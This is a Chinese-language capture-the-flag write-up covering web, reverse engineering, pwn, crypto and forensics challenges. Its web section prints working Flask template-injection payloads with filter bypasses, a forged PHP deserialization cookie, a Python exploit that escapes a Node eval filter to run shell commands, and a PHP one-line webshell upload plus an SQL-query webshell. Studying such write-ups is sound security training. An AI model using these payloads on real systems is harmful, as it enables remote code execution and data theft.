華為杯 × 簽到杯√
論比賽過程來說沒什麼很大收穫 但看師傅們的wp感觸很多 賽後復現慢慢學吧
Web
babyflask
flask ssti模板注入: payload{{key}}
發現[]以及類似os,__import__等敏感關鍵詞都被過濾。
-
用
__getitem__(2)
來表示[number]
,__getattribute__('__a'+'bc__')
來表示[__abc__]
-
最終payload
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.__getattribute__('fun'+'c_globals').linecache.__getattribute__('o'+'s').popen('ls').read()}}
回顯目錄檔案,找到flag後把ls替換為cat ../flag即可獲得flag
如果猜到flag檔案在根目錄下 直接payload
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag').read()}}
即可
doge
F12檢視原始碼 複製所有的aaencode,刪除最後一個 ('_');再在控制檯貼上輸出,得到原始碼,
控制檯輸出
$.ajax({
url: '\u0063\u0068\u0065\u0063\u006b\u002e\u0070\u0068\u0070',
type: '\u0050\u004f\u0053\u0054',
data: '\u006e\u0075\u006d\u003d' + 1009,
//1009為任意符合要求的素數均可
success: function (data) {
alert(data);}})
獲得base64加密flag,解碼即可。
然而我朋友說他一進去搖獎就得到了flag..好像概率的確也不小。
WellCMS
進入環境,是一個配置比較齊全的題,首先看到登陸的地方,抓包看一看。
對密碼進行了md5加密,burp suite爆破有md5加密的處理,試一試。
成功了,解密出來密碼是admin123。
然後好像這種類部落格管理的題,存在漏洞的地方大多都是在檔案上傳處。
在內容管理的地方,可以增加內容,有一個新增附件,抓包發現把內容base64加密,但沒有攔截..
然後上傳成功了..問題是並不知道這個檔案傳到哪了,無法建立連線。
發現在發表內容的時候,可以選擇封面圖,抓包檔案內容也是base64加密,把filetype改為php,內容改為一句話木馬試試。
居然直接成功了,還回顯了檔案位置,訪問拿到flag。
嗚嗚嗚感覺這題難度應該放在easy吧,大多數可能都是和我一樣題都沒點開的..
Hodor
根據提示,get ['source'],得到原始碼。
<?php
Class Source {
public function __toString() {
return highlight_file('license.txt', true).highlight_file($this->source, true);
}
}
function easy_check($str) {
//echo $str;
if (preg_match("/flag/i", $str, $matches)) {
return false;
}
return true;
}
if(isset($_GET['source'])){
$s = new Source();
$s->source = __FILE__;
echo $s;
exit;
}
$todos = [];
if(isset($_COOKIE['todos'])){
if(!easy_check($_COOKIE['todos'])) {
echo "Hacker!\n";
} else {
$c = $_COOKIE['todos'];
$h = substr($c, 0, 32);
$m = substr($c, 32);
if(md5($m) === $h){
$todos = unserialize($m);
}
}
}
if(isset($_POST['text'])){
$todo = $_POST['text'];
$todos[] = $todo;
$m = serialize($todos);
$h = md5($m);
setcookie('todos', $h.$m);
header('Location: '.$_SERVER['REQUEST_URI']);
exit;
}
// flag is in flag.php
?>
<?php foreach($todos as $todo):?>
<li><?=$todo?></li>
<?php endforeach;?>
程式碼審計
- 在_toString中,有highlight_file($this->source, true);看來得生成一個Source類的例項,並且這個例項的source=flag.php,並且有把其當作字串的地方。
- 最後一個位置
<?=$todo?>
其實為<?php echo $todo?>
的一種簡寫形式,並且上面的foreach
是對陣列用的,那麼初步找到這個例項就是todo,並且發現前面也有反序列化函式。
<?php
class Source
{
public $source;
}
$a= new Source();
$a->source='flag.php';
$ser=serialize(($a));
echo $ser;//O:6:"Source":1:{s:6:"source";s:8:"flag.php";}
?>
- 繼續往上看,發現要想觸發unserialize(),得滿足兩個要求,一個是對
flag
的檢測,可用大S+/66lag繞過,第二個是一個md5加密,也好說。
<?php
$ser='a:1:{i:0;O:6:"Source":1:{s:6:"source";S:8:"\66lag.php";}}';//資料型別S大寫
$a=substr(md5($ser),0,32);
$b=$a.urlencode($ser);
echo $b;
?>
得到最後post text的值:df80635527eb9189c1197254ad3c46bca%3A1%3A%7Bi%3A0%3BO%3A6%3A%22Source%22%3A1%3A%7Bs%3A6%3A%22source%22%3BS%3A8%3A%22%5C66lag.php%22%3B%7D%7D
koa<
對js還不是很瞭解,慢慢學..
原始碼:
const Koa = require('koa');
const Router = require('koa-router');
const Parser = require('koa-bodyparser');
const fs = require('fs');
let app = new Koa();
let router = new Router();
app.use(Parser());
router.get('/', async ctx => {
ctx.response.body = `<html><a href="/src">Source Code</a></html>`;
});
let btoa = s => new Buffer(s + '').toString(encoding='base64');
let atob = s => new Buffer(s + '', encoding='base64').toString();
const src = btoa(fs.readFileSync('app.js'));
router.get('/src', async ctx => {
ctx.response.body = src;
});
let filter = expr => {
let blacklist = ['(', ')', '.', '&', '#', '\\', '"', '`', ' '];
for (const ele of expr) {
if (blacklist.includes(ele))
return false;
}
return true;
}
router.post('/expr', async ctx => {
let expr = ctx.request.body.expr || '8 ^ 1';
if (!filter(expr)) {
ctx.response.body = '?';
return;
}
ctx.response.body = eval(expr);
})
app.use(router.routes());
app.listen(9999);
exp:
import requests
url="http://219.219.61.234:30000/expr"
res1=requests.post(url,data={"expr":"filter=e=>{return/**/true}"})
#print(res1.text)
res2=requests.post(url,data=
{"expr":'global.process.mainModule.constructor._load("child_process").execSync(" ../readflag").toString()'})
print(res2.text)
VulnCMS
一個全是漏洞的網站:
在這種模擬真實環境的題目下,一定要注意路徑的變化。
在登陸介面,看到在路徑裡看到member,想到admin,弱口令admin admin 登陸成功。
不虧是有很多漏洞的環境,拿到管理員許可權後,就有好幾種方法造成檔案上傳漏洞了。
- 作為管理員,在上傳設定處可以直接修改檔案字尾名白名單,加上php後就可以用其他使用者上傳php(但是不知道傳在哪),再用管理員賬號登陸管理檔案就可以看到位置了。
- 利用命令注入,在根目錄寫入shell。
之後蟻劍連線。
找了半天flag影子都沒見著,但在根目錄發現一個mysql.php(後來才知道這是前面做出來的學長寫的..),然後連線在資料庫裡把flag找到了.
學長的意思應該是要根據config資料夾下的database.php自己寫連線資料庫的exp。
<?php
$servername = "mysql";
$username = "root";
$password = "root";
$dbname = "yxjcms";
# kg_yyds(dddd)
$conn = mysqli_connect($servername, $username, $password,$dbname);
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
else{
echo("✔");
}
$sql = $_POST['sql'];
$result = $conn->query($sql);
if ($result->num_rows > 0) {
// 輸出資料
while($row = $result->fetch_assoc()) {
var_dump($row);
echo("?•☠ ");
}
} else {
echo "✖";
}
$conn->close();
?>
最後拿到flag。
Re
hello_world
開啟ida, 發現將輸入與一段資料進行異或加密。再進行一次異或解密即可。
non_name
開啟ida, 得到了一個比較複雜的方程,進入matlab矩陣消元求解。
Pwn
login
同樣的開啟ida, 發現其呼叫了read
函式, nbytes 引數設定為100h, 但其buf
指標僅僅開闢了很小的一部分空間,因此可以加以利用。先將buf
的地址填滿,然後再填入八個位元組rbp
,最後填入要執行的system
函式的地址。利用pwntools
寫python指令碼可以快速得到題解。
Crypto
Classical
維吉尼亞加密的密文,線上網站直接爆破密文。
EZRSA
wienner attack 下載後破解
Misc
Sign In
010開啟,base64解碼,brainfuck解密獲得flag
出個流量分析吧
記事本開啟搜尋flag獲得flag..
出個LSB吧
lsb 原題
出個文件吧
感覺是docx隱寫,但不知道為什麼我下下來直接就獲得了flag..
出個壓縮包吧
開啟壓縮包,顯示secret.png檔案頭損壞,010開啟,rar壓縮包裡檔案
塊頭為A8 3C 74,把 7A修改為74得到空白圖片。stegsolve調到red0色域出現半張二維碼,懷疑為雙圖層,改字尾為.gif 。ps開啟發現的確有隱藏圖層,匯出後同樣步驟得到上部分二維碼,最後再剪接一塊二維碼定位塊即可掃描得到flag。
總感覺很熟悉..在哪做過?
出個偽web吧
我們的思路是直接匯入資料庫,然後配置環境弄了很久..最後把整個檔案都匯入了,啥也沒發現,attacktest.sql匯入後在phpmyadmin裡觀察攻擊者的動機,也沒發現什麼,最後發現了一個密碼。
最後的結果是沒有做出來,wp是根據檔案修改時間找到include.php檔案然後裡面有flag,或者直接全域性搜尋
這才想起來,這只是一道misc Easy題
總的來說很是感覺有點遺憾,完全是送分的一道題..
出個記憶體取證吧
聽說又是原題..不得不懷疑我的搜尋能力了
都說kali自帶volatility..但我也沒有 老倒黴蛋了 下在了windows上
- 獲取基本資訊
.\volatility_2.6_win64_standalone.exe imageinfo -f .\1.img
三個profile一個一個嘗試 |findstr flag
,最後在P1找到
.\volatility_2.6_win64_standalone.exe filescan -f .\1.img --profile=Win2003SP1x86 | findstr flag
追蹤flag.png,發現在explorer.exe程式裡,把explore.exe pid為1992,將其匯出
.\volatility_2.6_win64_standalone.exe -f .\1.img -- profile=Win2003SP1x86 memdump -p 1992 -D ./
拖進kali binwalk看一下
圖片掃碼獲得密文,不是base64,提示iv,搜尋得知為AES加密,線上解密獲得flag